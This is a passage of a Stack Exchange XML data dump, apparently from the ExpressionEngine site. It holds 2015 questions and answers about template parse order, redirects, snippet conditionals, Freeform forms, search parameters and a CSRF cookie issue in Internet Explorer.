Tags="|channel-entries|variable|parameters|brilliantretail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31835" PostTypeId="2" ParentId="6878" CreationDate="2015-06-09T00:26:06.020" Score="0" Body="&lt;p&gt;EE 2.10.1, Assets 2.5: I hope to find a better solution than modifying a core file... For now, one way I found was to edit system/libraries/Core.php.&#xA;In function run_ee(), search &quot;// Throttle and Blacklist Check&quot;.&#xA;Remove (line 305):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (REQ != 'CP')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (REQ != 'CP' AND ee()-&amp;gt;session-&amp;gt;userdata('can_access_cp') != 'y')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Therefore, you have to load the session library before you can use the userdate method. To keep it simple, search for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('remember');&#xA;ee()-&amp;gt;load-&amp;gt;library('localize');&#xA;ee()-&amp;gt;load-&amp;gt;library('session');&#xA;ee()-&amp;gt;load-&amp;gt;library('user_agent');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Move these lines above &quot;// Throttle and Blacklist Check&quot;.&#xA;Of course, it would be better to do the blacklist check and the throttling before loading these classes...&lt;/p&gt;&#xA;" OwnerUserId="6245" LastActivityDate="2015-06-09T00:26:06.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31836" PostTypeId="1" AcceptedAnswerId="31837" CreationDate="2015-06-09T07:08:25.640" Score="0" ViewCount="496" Body="&lt;p&gt;I use redirect template variable to redirect user conditionally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in AND (segment_3 ~ &quot;/[^\d+]/&quot; OR segment_3 == &quot;&quot;)}&#xA;    {!-- Redirect to own profile if logged in--}&#xA;    {redirect=&quot;account/profile/{member_id}&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of redirect to it's profile, I got url like:&#xA;&lt;a href=&quot;http://domain.com/account/profile/%7Bmember_id%7D&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/account/profile/%7Bmember_id%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{member_id} prints correctly in template fine, but not in {redirect}. Also i tried use other variables in &lt;code&gt;redirect&lt;/code&gt;, like {site_name}, etc., result the same they doesn't works too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6286" LastActivityDate="2015-06-09T13:19:16.983" Title="Redirect in template issue" Tags="|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31837" PostTypeId="2" ParentId="31836" CreationDate="2015-06-09T08:55:13.470" Score="0" Body="&lt;p&gt;This will be a &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt; issue, your if statement is an Advanced Conditional (Step 7 in &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Low's EE parse order&lt;/a&gt;) whereas member_id is a User Defined Global Variable (Step 9 in &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Low's EE parse order&lt;/a&gt;) so is parsed later. You'll notice the redirect works because it is on Step 8 (in &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Low's EE parse order&lt;/a&gt;) so the ordrr your template is parsed is as so : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Advanced Conditional&lt;/li&gt;&#xA;&lt;li&gt;Redirect&lt;/li&gt;&#xA;&lt;li&gt;User Defined Global Variable&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You see, when the redirect happens (and it happens straight away on the tag) it's too early for the &lt;code&gt;member_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a little PHP snippet or pop a script based redirect in there, js won't be executed until it gets to the browser but relies on JS. The PHP solution will work with either PHp on Input or Output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in AND (segment_3 ~ &quot;/[^\d+]/&quot; OR segment_3 == &quot;&quot;)}&#xA;    {!-- Redirect to own profile if logged in--}&#xA;    {redirect=&quot;account/profile/&amp;lt;?php echo ee()-&amp;gt;session-&amp;gt;userdata('member_id'); ?&amp;gt;&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you cookin, interestingly you can do the entire logged in check with PHP if you desire, if used with PHP on Early parsing you can acheive some efficiency as the redirect will occur before the tags are all parsed on the template...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;summin like (untested)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if ( &#xA;      ee()-&amp;gt;session-&amp;gt;userdata('group_id') != 0 &amp;amp;&amp;amp;&#xA;      preg_match( '/[^\d+]/', ee()-&amp;gt;uri-&amp;gt;segment(3,&quot;X&quot;) ) &#xA;    ) {&#xA;        ee()-&amp;gt;functions-&amp;gt;redirect('account/profile/'.ee()-&amp;gt;session-&amp;gt;userdata('member_id'));&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#user-data-information&quot; rel=&quot;nofollow&quot;&gt;EE User Data in the Session Class&lt;/a&gt;, &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/uri.html#ee-uri-segment&quot; rel=&quot;nofollow&quot;&gt;Segements in the URI class&lt;/a&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/functions.html#redirect&quot; rel=&quot;nofollow&quot;&gt;Redirect in Functions Class&lt;/a&gt; documentation.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-09T13:19:16.983" LastActivityDate="2015-06-09T13:19:16.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31838" PostTypeId="2" ParentId="2327" CreationDate="2015-06-09T09:07:47.567" Score="0" Body="&lt;p&gt;Brooks were you ever able to get this working?&lt;br&gt;&#xA;on a new server move I keep getting no images where CE Image is referenced.. single or paired tags.&#xA;My debug looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.030295 / 13.96MB)   ***  CE Image debug: Base path: '/pathto/my/public_html/'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.030330 / 13.96MB)   ***  CE Image debug: Source image: '&lt;a href=&quot;http://correcturl.com/assets/domain/upload/posting/Dinosaur_(1).JPG&quot; rel=&quot;nofollow&quot;&gt;http://correcturl.com/assets/domain/upload/posting/Dinosaur_(1).JPG&lt;/a&gt;', Fallback image: ''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.030350 / 13.96MB)   ***  CE Image debug: The image '/pathto/my/public_html/images/made/assets/domain/upload/posting/Dinosaur_(1)_1000_667_80_col-255-0-0-0.JPG' is not cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.030366 / 13.96MB)   ***  CE Image debug: A problem occurred trying to open the image '/pathto/my/public_html/assets/domain/upload/posting/Dinosaur_(1).JPG'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you see my error? &#xA;I've cleared cache for the tag and have added &#xA;$config['ce_image_document_root'] = '/pathto/my/public_html/' to the config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm lost for my options from here.&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2015-06-09T09:07:47.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31839" PostTypeId="2" ParentId="31833" CreationDate="2015-06-09T09:11:18.257" Score="0" Body="&lt;p&gt;Start by creating a simple conditional with no EE tags in it, so you can identify if the erronious &lt;code&gt;}&lt;/code&gt; is in the snippet or in the way the advanced confditional is bein parsed. For me I'd be inclined to lose the advanced conditional and make it simple too, for testing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{snip-start-to-end-dates}' == &quot;&quot;}Long-term Installation{/if}&#xA;{if '{snip-start-to-end-dates}' != &quot;&quot;}{snip-start-to-end-dates}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ugly but simplifies the conditional. I would wager the issue is in the tags in your snippet though! Your code snippet in the OP looks ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you look to the EE &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Parse Order&lt;/a&gt; you'll notice that snippets are replaced on the template first, whereas what you seem to be doing is trying to measure the &lt;strong&gt;result of the snippet&lt;/strong&gt;. For example assume I had this snippet : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{segement_1}' == 'someseg' &amp;amp;&amp;amp; '{segemnt_2}' != ''}&#xA;  {if group_id == 6}&#xA;    &amp;lt;p&amp;gt;Welcome User!&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I re-inact what happens on your conditional I get this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{if '{segement_1}' == 'someseg' &amp;amp;&amp;amp; '{segemnt_2}' != ''}{if group_id == 6}&amp;lt;p&amp;gt;Welcome User!&amp;lt;/p&amp;gt;{/if}{/if}' != &quot;&quot;}&#xA;  {if '{segement_1}' == 'someseg' &amp;amp;&amp;amp; '{segemnt_2}' != ''}&#xA;    {if group_id == 6}&#xA;      &amp;lt;p&amp;gt;Welcome User!&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;  {/if}&#xA;{if:else}&#xA;  Long-term Installation&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Woah! that got messy, note how the snippet within the quotes in the conditional is replaced as text? You're asking for trouble parsing this! Just look at the first part of the conditional now, in short you've got quote and curly brace madness happening within the if conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're best off not using a snippet and making sure your snippet returns &quot;Long-term Installation&quot; instead of nothing so you can just include it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{snip-start-to-end-dates}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But to answer the question specifically, to check if a snippet exists and has characters within it you're right : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{snip-start-to-end-dates}' != &quot;&quot;} ... {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt; : Of course, &lt;em&gt;there is another&lt;/em&gt; (way) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a little trick that might just help you evaluate the &lt;strong&gt;result&lt;/strong&gt; of the snippet as opposed to the content, you'll need to use PHP and 'borrow' EE's Template parser...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual wanring, danger, thar be pirates! PHp and messing iwth the Template parser can quickly ge you into a &lt;a href=&quot;https://www.destroyallsoftware.com/talks/wat&quot; rel=&quot;nofollow&quot;&gt;'WAT' Situation&lt;/a&gt; (this is well worth a watch btw, good for a chuckle), though I have tested this code with my own snippet, with a conditional in it!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  //you need to fool EE here, by making the snippet string with a &#xA;  //PHP concat it's not picked up as a parsabel too early'&#xA;  $snipTest = '{' . 'test_snip}'; &#xA;&#xA;  //this will parse the $test string as if it where a template, and parse the snippet globals created within&#xA;  ee()-&amp;gt;TMPL-&amp;gt;parse($snipTest );&#xA;  $snipTest = ee()-&amp;gt;TMPL-&amp;gt;parse_globals($snipTest);&#xA;&#xA;  //test the string, the string is the result of the evaluated template, not the snippet contents!!&#xA;  if ( strlen($snipTest) &amp;gt; 0 ) { echo $snipTest; } else { echo &quot;Long-term Installation&quot;; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-09T09:45:40.723" LastActivityDate="2015-06-09T09:45:40.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31840" PostTypeId="1" CreationDate="2015-06-09T10:17:37.413" Score="0" ViewCount="132" Body="&lt;p&gt;I have a form with two yes/no radio buttons. Is it possible to create a validation for Freeform if the 'No' option is selected?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2016-05-26T06:16:43.203" Title="Freeform validate radio button" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31841" PostTypeId="2" ParentId="31831" CreationDate="2015-06-09T10:25:01.243" Score="0" Body="&lt;p&gt;The URI &lt;code&gt;/floor-plans/all/two-bedrooms&lt;/code&gt; doesn't look like a Low Search query, and therefore the Results tag won't filter entries. It's looking like it works as designed. &lt;a href=&quot;http://l45living.com/floor-plans/search/eyJyZXN1bHRfcGFnZSI6IlwvZmxvb3ItcGxhbnNcL3NlYXJjaCNmbG9vci1wbGFucyIsImNhdGVnb3J5IjoiM3wyNyJ9#floor-plans&quot; rel=&quot;nofollow&quot;&gt;This URL&lt;/a&gt; does seem to be showing the results you'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Turns out there was another category selected so the form would filter by &lt;em&gt;both&lt;/em&gt; categories rather than the one. Removing the other one solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-06-19T10:21:09.197" LastActivityDate="2015-06-19T10:21:09.197" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="31842" PostTypeId="2" ParentId="31818" CreationDate="2015-06-09T11:25:40.507" Score="0" Body="&lt;p&gt;So my Stash logic here was correct in so much that it was setting the var correctly, but the &lt;code&gt;var_prefix&lt;/code&gt; was where the setting of the var was failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;set_list:nested&lt;/code&gt; should have been like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list:nested name=&quot;related_entries&quot; context=&quot;{children:entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;  {!-- Matrix tag pair --}&#xA;  {children:profile_social_media}&#xA;    {stash:related_title}{children:url}{/stash:related_title}&#xA;  {/children:profile_social_media}&#xA;{/exp:stash:set_list:nested}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-06-09T11:25:40.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31844" PostTypeId="2" ParentId="31840" CreationDate="2015-06-09T12:11:25.577" Score="0" Body="&lt;p&gt;If you have a group of 2 radio buttons for Yes/No, as long as both radios have a value (lets say &quot;on&quot; and &quot;off&quot;) then you can make the radio button required. Make sure the radios have the correct &lt;code&gt;name&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the radio is in fact 1 radio button with on = yes off = no, then you'll have to add a hidden input with the no value in it, so that when the form is submitted there is at least a value for the named post variable.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-09T12:11:25.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31845" PostTypeId="2" ParentId="31830" CreationDate="2015-06-09T13:01:00.033" Score="0" Body="&lt;p&gt;I'm not sure, because I never tried to use nested layout templates, but I believe that &lt;code&gt;{layout:contents}&lt;/code&gt; have its value set on every template. So, the second one needs to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;master_templates/.backpage}&#xA;{layout:set name=&quot;title&quot;}MyTitle{/layout:set}&#xA;{layout:set name=&quot;department&quot;}Department{/layout:set}&#xA;{layout:contents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specially for a matter of performance, I recommend you to limit the number of layouts and embeds to a minimum. I can't even imagine a reason for what you're doing. You could have set the meta on the first one.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-09T13:01:00.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31846" PostTypeId="2" ParentId="31797" CreationDate="2015-06-09T13:08:16.743" Score="0" Body="&lt;p&gt;The folks at DevDemon have sent me an updated version of the script and now the update_cart function works correctly.  I've asked if they could also fix the empty_cart function.&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-06-09T13:08:16.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31847" PostTypeId="1" AcceptedAnswerId="31848" CreationDate="2015-06-09T13:13:38.437" Score="0" ViewCount="192" Body="&lt;p&gt;I have a snippet (can be template if necessary) which contains a diagram as code. Is there anyway to make this selectable from the edit entry screen, and preferably associated with a wysiwyg (Expresso) field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an ideal world there would be a dropdown populated with the diagram names (can be manually populated) and when you select one it would drop in the snippet code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible? Or even an alternative method to achieved this?&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-06-09T14:06:10.253" Title="Embedding snippets or templates from wysiwyg?" Tags="|snippets|wysiwyg|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31848" PostTypeId="2" ParentId="31847" CreationDate="2015-06-09T14:06:10.253" Score="1" Body="&lt;p&gt;I'm not so sure on the Expresso Editor, but if you are using WYGWAM as your WYSIWYG editor... If this is the case this might be of some interest to you : &lt;a href=&quot;https://github.com/pixelandtonic/wygwam_template_links&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pixelandtonic/wygwam_template_links&lt;/a&gt;&#xA; never used it so not quite sure if it's exactly what you want...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19953/wygwam-creating-a-custom-template&quot;&gt;this article&lt;/a&gt; which may give you clues on how tyou could hijack the Template button in WYGWAM to serve embeds/snippets...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you wanted to do was perhaps enable the &lt;code&gt;{embed}&lt;/code&gt; and snippet tags in your WYGWAM you can do this by wrapping the output in &lt;code&gt;{exp:allow_eecode embed=&quot;y&quot;}&lt;/code&gt; tags with the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10975/embed-an-expchannel-tag-into-wygwam&quot;&gt;Allow EE Code&lt;/a&gt; plugin (seems Wyvern allows this too &lt;a href=&quot;https://devot-ee.com/add-ons/support/wyvern/viewthread/2357&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://devot-ee.com/add-ons/support/wyvern/viewthread/2357&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you wanted a bit more control, how about using &lt;a href=&quot;https://devot-ee.com/add-ons/template-snippet-select&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template &amp;amp; Snippet Select&lt;/a&gt; with a special marker in WYGWAM/Wyvern (yuo may need to mod/roll your own extension) &lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-06-09T14:06:10.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31849" PostTypeId="2" ParentId="31832" CreationDate="2015-06-09T15:33:33.890" Score="1" Body="&lt;p&gt;The problem is the values in the html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email route field doesn't use the actual email as the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/samCX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the actual values from the HTML it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JScYn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2015-06-09T15:33:33.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31850" PostTypeId="2" ParentId="31832" CreationDate="2015-06-09T15:33:34.367" Score="0" Body="&lt;p&gt;You can't do that without some tricky work. Instead use a regular dropdown and use the emails as values. Then on your email template set your to: email address as that field with {field:my_email_drop_list} and it will send to that person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Manuel said it is possible but with the first method an admin would need to know how to inspect the page and connect them. Just depends on who is managing the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditDate="2015-06-10T00:48:48.097" LastActivityDate="2015-06-10T00:48:48.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31851" PostTypeId="1" AcceptedAnswerId="31861" CreationDate="2015-06-09T15:38:57.950" Score="0" ViewCount="59" Body="&lt;p&gt;I cannot get the -exact parameter to work in a search string using Super Search 2.2.3 and EE 2.9.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom field named doctors_services and I've tried this search query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/doctors/search&amp;amp;channel=doctors&amp;amp;doctors_services=Primary%20Care&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works - it returns results for Primary Care. &lt;strong&gt;However,&lt;/strong&gt; this search also returns other services with &quot;Care&quot; in the name - eg. &quot;Wound Care&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation from Solspace (found here: &lt;a href=&quot;https://solspace.com/docs/super_search/search_syntax/#custom_fields&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/super_search/search_syntax/#custom_fields&lt;/a&gt;), I should be able to pass an -exact parameter in the string like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/doctors/search&amp;amp;channel=doctors&amp;amp;doctors_services-exact=Primary%20Care&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This returns zero results.&lt;/strong&gt; Any help on this would be greatly appreciated. I feel like this is a bug?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-09T17:43:16.530" Title="-exact parameter with custom fields is not working" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31852" PostTypeId="2" ParentId="31851" CreationDate="2015-06-09T15:52:40.743" Score="0" Body="&lt;p&gt;Can you try with a &lt;code&gt;+&lt;/code&gt; instead of &lt;code&gt;%20&lt;/code&gt;? Just in case it's an encoding issue here wit hthe exact syntax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your parameters look correct, bear in mind also that exact matches the entire field, not just the text supplied, so if you have leading or training characters (even spaces) the loose search will match, the exact one won't...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-09T15:52:40.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31853" PostTypeId="1" AcceptedAnswerId="31860" CreationDate="2015-06-09T15:56:11.293" Score="0" ViewCount="258" Body="&lt;p&gt;Got a weird one, on this site &lt;a href=&quot;http://www.limbsandthings.com&quot; rel=&quot;nofollow&quot;&gt;http://www.limbsandthings.com&lt;/a&gt;, Internet Explorer customers (all versions, even 10&amp;amp;11) are unable to search, add to their cart, and login to the control panel. Basically perform any form action without hitting the &quot;This form has expired&quot; CSRF error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chrome, Firefox, &amp;amp; Safari users aren't experiencing any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried setting the 'disable_csrf_protection' config setting (not ideal)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when that setting is enabled IE users aren't able to login at all (no error message occurs). They are able to perform other form actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even set a P3P cookie policy in .htaccess, thinking that maybe IE was somehow thinking our session cookie was third party. Setting IE's permission levels to Low doesn't seem to help either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another 2.9.2 site I manage for a client, &lt;a href=&quot;http://www.jerseywatch.com&quot; rel=&quot;nofollow&quot;&gt;http://www.jerseywatch.com&lt;/a&gt; is not experiencing any issues with IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Viewing the cookies in Chrome vs. IE showed something interesting. The &quot;exp_csrf_token&quot; cookie is showing up when I inspect it in Chrome, however IE is reporting that the &quot;exp_csrf_token&quot; cookie doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2015-06-09T16:04:21.740" LastActivityDate="2015-06-09T17:33:32.740" Title="CSRF bug on IE, unable to login to to CP EE 2.9.2" Tags="|safecracker|login|csrf|ee2.9.2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31854" PostTypeId="2" ParentId="31779" CreationDate="2015-06-09T16:08:47.230" Score="1" Body="&lt;p&gt;Just had exactly the same issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {if pm_enabled} {/if} conditional was only added in 2.10.0 which is causing the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-10-0&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-10-0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading EE to the latest fixes the issue. &lt;/p&gt;&#xA;" OwnerUserId="269" LastActivityDate="2015-06-09T16:08:47.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31856" PostTypeId="1" AcceptedAnswerId="31857" CreationDate="2015-06-09T16:30:29.403" Score="0" ViewCount="95" Body="&lt;p&gt;How do I show a users submitted entry using Freeform entries? For example I need to show an immediate response to a users form submission on a return page. ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:freeform:entries&#xA;                form_name=&quot;apply&quot;&#xA;                orderby=&quot;entry_date&quot; &#xA;                sort=&quot;desc&quot;&#xA;                limit=&quot;1&quot;&#xA;                status=&quot;pending&quot; &#xA;            }&#xA;&#xA;               {if '{freeform:field:age-range}'==&quot;Yes&quot; AND '{freeform:field:health}'==&quot;Yes&quot;}Your'e OK{if:else} You're not OK{/if}&amp;lt;br /&amp;gt;&#xA;&#xA;&#xA;            {/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-06-09T16:42:55.277" Title="Freeform entries show users submitted entry" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31857" PostTypeId="2" ParentId="31856" CreationDate="2015-06-09T16:36:34.593" Score="1" Body="&lt;p&gt;In your FreeForm form tag, you need to set your return parameter to include the entry_id that gets created when the form is submitted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form return=&quot;form-success/%%entry_id%%&quot; form_id=&quot;1&quot;}&#xA;    Form stuff here!&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then on your success page, you just grab the entry_id from whatever segment it ends up as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries entry_id=&quot;{segment_2}&quot; form_id=&quot;1&quot;}&#xA;    Form output here!&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-09T16:42:55.277" LastActivityDate="2015-06-09T16:42:55.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31858" PostTypeId="2" ParentId="31834" CreationDate="2015-06-09T16:47:46.773" Score="1" Body="&lt;p&gt;The BrilliantRetail catalog tag does not currently allow for changing the number of results to pagination per template. For your use case though I would consider a relationship or using the BR product fieldtype to pull specific products on the main page. We generally setup a home page channel for our clients and allow them to select a few 'featured' products for the home page that way.&lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2015-06-09T16:47:46.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
